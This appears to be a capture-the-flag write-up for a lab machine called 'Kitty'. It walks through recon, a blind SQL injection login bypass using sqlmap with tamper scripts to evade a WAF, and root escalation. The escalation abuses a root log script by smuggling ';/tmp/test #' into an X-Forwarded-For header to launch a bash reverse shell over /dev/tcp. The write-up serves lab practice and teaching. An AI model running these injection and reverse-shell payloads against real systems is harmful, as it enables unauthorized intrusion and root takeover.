Kitty

Map? Where we are going, we don't need maps.

Recon

Let's start with a nmap scan

┌──(kali㉿kali)-[~]
└─$ nmap -sT -p- kitty.thm -T4                                   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-20 00:39 EST
Nmap scan report for kitty.thm (10.10.136.7)
Host is up (0.15s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
5946/tcp filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 1106.11 seconds

We can see two ports open . SSH on port 22 and a HTTP server on port 80.

┌──(kali㉿kali)-[~]
└─$ nmap -sT -sV -sC  -p 22,80 kitty.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-20 01:05 EST
Nmap scan report for kitty.thm (10.10.136.7)
Host is up (0.15s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b0:c5:69:e6:dd:6b:81:0c:da:32:be:41:e3:5b:97:87 (RSA)
|   256 6c:65:ad:87:08:7a:3e:4c:7d:ea:3a:30:76:4d:04:16 (ECDSA)
|_  256 2d:57:1d:56:f6:56:52:29:ea:aa:da:33:b2:77:2c:9c (ED25519)

80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.37 seconds

We know that we are working with PHP. Let's do some directory enumeration.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://kitty.thm -w /usr/share/wordlists/dirb/big.txt -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://kitty.thm
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 274]
/.htaccess.php        (Status: 403) [Size: 274]
/.htpasswd            (Status: 403) [Size: 274]
/.htpasswd.php        (Status: 403) [Size: 274]
/config.php           (Status: 200) [Size: 1]
/index.php            (Status: 200) [Size: 1081]
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/register.php         (Status: 200) [Size: 1567]
/server-status        (Status: 403) [Size: 274]
/welcome.php          (Status: 302) [Size: 0] [--> index.php]
Progress: 40938 / 40940 (100.00%)
===============================================================
Finished
===============================================================

Initial Access

Let's visit the website and see what we have.

Some default and common paswords did not work. Let's try SQL injection.

we are informed that SQL Injection has been detected and logged. Maybe we can try some more injection or bypassing this check. Let's sign up for an account and see what we have.

Let's try injection with an account created.

It bypasses and logs us in. Let us check for how many columns the table has. We can do this by using UNION SELECT.

After trying few inputs ' UNION SELECT 1,2,3,4-- - worked. Going any further would give us an invalid login error.

We can also use SQLmap to simply this and make this process easier.

Although with SQLmap we will have to go through quite some trial and error.

We first started with:

sqlmap -u http://kitty.thm/index.php --forms

After soem trial and error we can find the database as MySQL so we can append --dbms=mysql -p username to both restrict to MySQL and just focus on the username field.

Also --skip-heuristic will limit noise, since we already know this field is vulnerable (although SQLMap thinks it isn't).

Because there is a cookie that won't change when a successful bypass happens, and which SQLmap by default takes into account, we need to ignore the set-cookie flag: --drop-set-cookie:

sqlmap -u http://kitty/index.php --forms --dbms=mysql -p username --skip-heuristic --drop-set-cookie

We know there is know injection is possible but there is no feedback given. So this is Blind injection. In this case, false cases returns a 200 code (invalid username or password) while true redirects with 302: --code=302. We will tell SQLMap to consider 302's as a success message.

sqlmap -u http://kitty.thm/index.php --forms --dbms=mysql -p username --skip-heuristic --drop-set-cookie --technique=B --code=302

In most cases most of the above wouldn't be needed except -u and --forms. But we want to limit the noise down and get quick results because the SQL Injection filter is of trial and error. Finally after lot's of trial and error and some researching.

These can be specified by script name with --tamper. And fortunately there are three that solve the specific problems above:

  • hex2char.py replaces 0x20 with Char(32)

  • ifnull2ifisnull.py replaces IFNULL() with IF(ISNULL(),)

  • ord2ascii.py replaces ORD with ASCII

With these three tamper scripts, specified --tamper=ord2ascii,ifnull2ifisnull,hex2char we can effectively avoid the WAF filter the site has.

sqlmap -u http://kitty.thm/index.php --forms --dbms=mysql -p username --code=302 --dump --tamper=ord2ascii,ifnull2ifisnull,hex2char --skip-heuristic --drop-set-cookie --flush-session

The above query will give us the kitty user's password, which can be used to SSH in.

When we run SQLmap it will ask you some questions on how to proceed with the injection. Most of them will work with default, but just make sure to not follow any redirects and we need to edit the form field values to include the valid username and password created earlier.

  • do you want to test this form? Y

  • Edit POST data [default: username=&password=] (Warning: blank fields detected): username=BuN&password=Bun123

  • got a 302 redirect to 'http://10.10.229.44/welcome.php'. Do you want to follow? n

  • are you sure that you want to continue with further target testing? Y

  • do you want to (re)try to find proper UNION column types with fuzzy test? N

  • injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? Y

  • POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? N

  • do you want to exploit this SQL injection? Y

We can login and get our first flag.

Privilege Escalation

Let's do some enumeration. We can use linpeas.

First setup a python server on the attack machine.

python -m http.server

On the kitty’s machine :

kitty@kitty:~$ wget [ATTACK_MACHIN_IP]:8000/linpeas.sh
.
.
kitty@kitty:~$ chmod 777 linpeas.sh
kitty@kitty:~$ ./linpeas.sh

After a quick enumeration (manual and linpeas), we can see a few things :

  • There is other web content stored in /var/www/development/ instead of /var/www/html

  • There are few localhost port occupied :

kitty@kitty:~$ ss -tulpn
Netid  State   Recv-Q  Send-Q      Local Address:Port    Peer Address:Port
udp    UNCONN  0       0           127.0.0.53%lo:53       0.0.0.0:*
udp    UNCONN  0       0        10.10.136.7%eth0:68       0.0.0.0:*
tcp    LISTEN  0       511             127.0.0.1:8080     0.0.0.0:*
tcp    LISTEN  0       4096        127.0.0.53%lo:53       0.0.0.0:*
tcp    LISTEN  0       128               0.0.0.0:22       0.0.0.0:*
tcp    LISTEN  0       70              127.0.0.1:33060    0.0.0.0:*
tcp    LISTEN  0       151             127.0.0.1:3306     0.0.0.0:*
tcp    LISTEN  0       511                     *:80             *:*
tcp    LISTEN  0       128                  [::]:22          [::]:*
  • The /opt directory isn’t empty and contains a script that belongs to root (remember that):

kitty@kitty:/tmp$ ls -la /opt
total 12
drwxr-xr-x  2 root root 4096 Feb 25  2023 .
drwxr-xr-x 19 root root 4096 Nov  8  2022 ..
-rw-r--r--  1 root root  152 Feb 25  2023 log_checker.sh
kitty@kitty:/tmp$ cat /opt/log_checker.sh
#!/bin/sh
while read ip;
do
  /usr/bin/sh -c "echo $ip >> /root/logged";
done < /var/www/development/logged
cat /dev/null > /var/www/development/logged

This script log_checker.sh is owned by root.

Checking the source code of the development server at /var/www/development, it is similar to the first webserver, with the only difference being the logging of SQL injection attempts on /index.php.

If it detects a SQL injection attempt, it writes the value of the X-Forwarded-For header in the request to the /var/www/development/logged.

Sending a request with the header mentioned and a payload that will trigger this logging using curl.

kitty@kitty:/var/www/development$ curl -s 'http://127.0.0.1:8080/index.php' -X POST -d 'username=sleep&password=password' -H 'X-Forwarded-For: test'

SQL Injection detected. This incident will be logged!
kitty@kitty:/var/www/development$ cat logged
test

The script log_checker.sh reads the /var/www/development/logged line by line and calls /usr/bin/sh -c "echo $ip >> /root/logged" for every line, with the read line being the $ip parameter, and after that, it clears the /var/www/development/logged file.

Since we are able to control what is written to the /var/www/development/logged file with the X-Forwarded-For header, we can control the $ip parameter and inject commands.

Creating a reverse shell at /tmp/testand making it executable.

test
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.11.63.57/443 0>&1"

Starting our listener.

Sending our command injection payload: ;/tmp/test #

  • ; to escape the echo command.

  • /tmp/test: command we want to inject.

  • #: to comment out the rest of the command.

kitty@kitty:/var/www/development$ curl -s 'http://127.0.0.1:8080/index.php' -X POST -d 'username=sleep&password=password' -H 'X-Forwarded-For: ;/tmp/test #'

SQL Injection detected. This incident will be logged!

On our listener, we receive a shell as root and can read the root flag.

Last updated

Was this helpful?